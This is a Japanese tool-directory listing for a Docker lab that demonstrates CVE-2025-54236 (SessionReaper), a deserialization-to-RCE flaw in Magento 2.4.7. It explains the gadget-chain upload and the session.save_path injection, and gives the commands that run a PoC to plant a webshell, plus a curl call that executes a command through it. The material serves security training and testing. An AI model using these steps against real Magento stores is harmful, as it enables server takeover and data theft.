Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/brito101/session_reaper_lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubbrito101/session_reaper_lab

session_reaper_lab

CVE-2025-54236(SessionReaper)の実践的なデモのためのDocker環境:Magento Open Source 2.4.7におけるRCEにつながるPHPオブジェクトデシリアライゼーション

リポジトリを見る
33ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-54236 - SessionReaper Lab

CVE-2025-54236 (SessionReaper) の実践的デモンストレーションのための Docker 環境: Magento Open Source 2.4.7 における PHP オブジェクトデシリアライゼーションから RCE に至る脆弱性。

管理された環境でのみ使用してください。明示的な許可なくシステムに対して実行しないでください。


脆弱性について

CVE-2025-54236 は、Magento Open Source および Adobe Commerce のバージョン 2.4.7 までに影響します。ServiceInputProcessor::getConstructorData() メソッドは、JSON を介してネストされたパラメータを受け入れ、session.save_path(PHP がセッションファイルを保存するフォルダ)を上書きすることを可能にします。

攻撃手順:

  1. シリアライズされた PHP ファイル(phpggc 経由のガジェットチェーン Guzzle/FW1)が /customer/address_file/upload 経由でアップロードされ、pub/media/customer_address/s/e/sess_<id> に保存されます。
  2. REST API へのリクエストで、コンストラクタパラメータとして {"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}} が注入されます。
  • PHP が偽造された PHPSESSID で session_start() を呼び出し、ガジェットチェーンをデシリアライズして、pub/errors/ にウェブシェルを書き込みます。
  • 前提条件: PHP セッションが file-based で設定されていること(Redis/Memcached ではない)。

    • CVSS: 9.1 (Critical)
    • 影響を受けるバージョン: Magento Open Source / Adobe Commerce ≤ 2.4.7

    リポジトリ構成

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 脆弱版)
    │   ├── Dockerfile            # Magento 拡張機能を含む PHP 8.2-FPM
    │   ├── docker-compose.yml    # スタック: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # 環境設定
    │   ├── conf/
    │   │   ├── nginx/            # nginx VirtualHost
    │   │   └── php/magento.ini   # ファイルベースセッション, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # ゼロからの完全インストール
    │       └── 02-demo-setup.sh  # 製品、ペイロードの準備と手順の表示
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # メイン PoC (作者: alexb616)
    └── payloads/
        ├── shell.php             # シングルクォートを使用したウェブシェル(JSON エスケープ回避)
        └── sess_payload.bin      # シリアライズされたガジェットチェーン(スクリプトで生成)
    

    必要条件

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI(phpggc 用)または ambionics/phpggc イメージが利用可能な Docker
    • phpggc - https://github.com/ambionics/phpggc
      • session_reaper.py は以下の順でバイナリを検索: システムの PATH, ~/phpggc/phpggc, /opt/phpggc/phpggc、フォールバックとして Docker イメージ ambionics/phpggc を自動的にプル
    • Python 3.8+ および requests (pip install requests)
    • WSL2 / Linux (WSL2 では Elasticsearch のため sudo sysctl -w vm.max_map_count=262144 が必要な場合があります)

    インストール

    root@kitploit:~
    cd lab-magento
    
    # 1. Magento 2.4.7 をゼロからインストール(約25分)
    bash scripts/install.sh
    

    install.sh の処理内容:

    • カスタム PHP イメージのビルド
    • 5つのコンテナを起動 (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Git 経由で Magento 2.4.7 をクローン(Marketplace アカウント不要)
    • composer install --no-dev の実行
    • setup:install を file-based セッションで実行
    • モードを default に設定(developer ではない - PHP 8.2 の警告が例外になるのを防ぐ)
    • 管理画面アクセスを容易にするため 2FA を無効化
    • setup:static-content:deploy の実行
    • 全ステージで www-data のパーミッションを修正

    エクスプロイトの実行

    インストール後、ルートディレクトリ (/magento/) から:

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    RCE の確認:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # 期待される出力: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    代替方法 (address ベクター、実際の製品を使用):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    ラボの認証情報

    サービスURL / ホスト認証情報
    Magento ストアhttp://localhost:8080/-
    Magento 管理画面http://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    管理画面の URI はインストール時にランダムに生成されます。検索するには:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    モニタリング

    root@kitploit:~
    # エクスプロイトによって作成されたセッション
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # media/ の悪意のあるセッションファイル
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # リアルタイムログ
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    クリーンアップ

    root@kitploit:~
    # ウェブシェルの削除
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # コンテナの停止
    docker compose -f lab-magento/docker-compose.yml down
    
    # すべてを破棄(コンテナ + ボリューム)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    技術的詳細

    なぜウェブシェルにシングルクォートを使うのか? phpggc Guzzle/FW1 はペイロードを JSON としてシリアライズします: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]。PHP の内容は JSON エンコードされるため、" は \" になります。$_GET["cmd"] を使用すると $_GET[\"cmd\"] となり、PHP のパースエラーになります。解決策は、ウェブシェルをシングルクォートで記述することです: $_GET['cmd']。

    なぜ developer モードではなく default モードなのか? Magento を developer モードで実行すると、すべての PHP 警告が例外に変換されます。PHP 8.2 は lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114 で Warning: Trying to access array offset on null を発行し、管理画面で 500 例外になります。default モードでは警告は無視されます。

    なぜファイルは s/e/ に置かれるのか? Magento は住所アップロードを pub/media/customer_address/{1文字目}/{2文字目}/filename に整理します。sess_* ファイルの場合、1文字目は s、2文字目は e となり、常に pub/media/customer_address/s/e/ になります。


    参考文献

    • NVD - CVE-2025-54236
    • PoC original - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe Security Bulletin APSB25-94
    ツールをダウンロード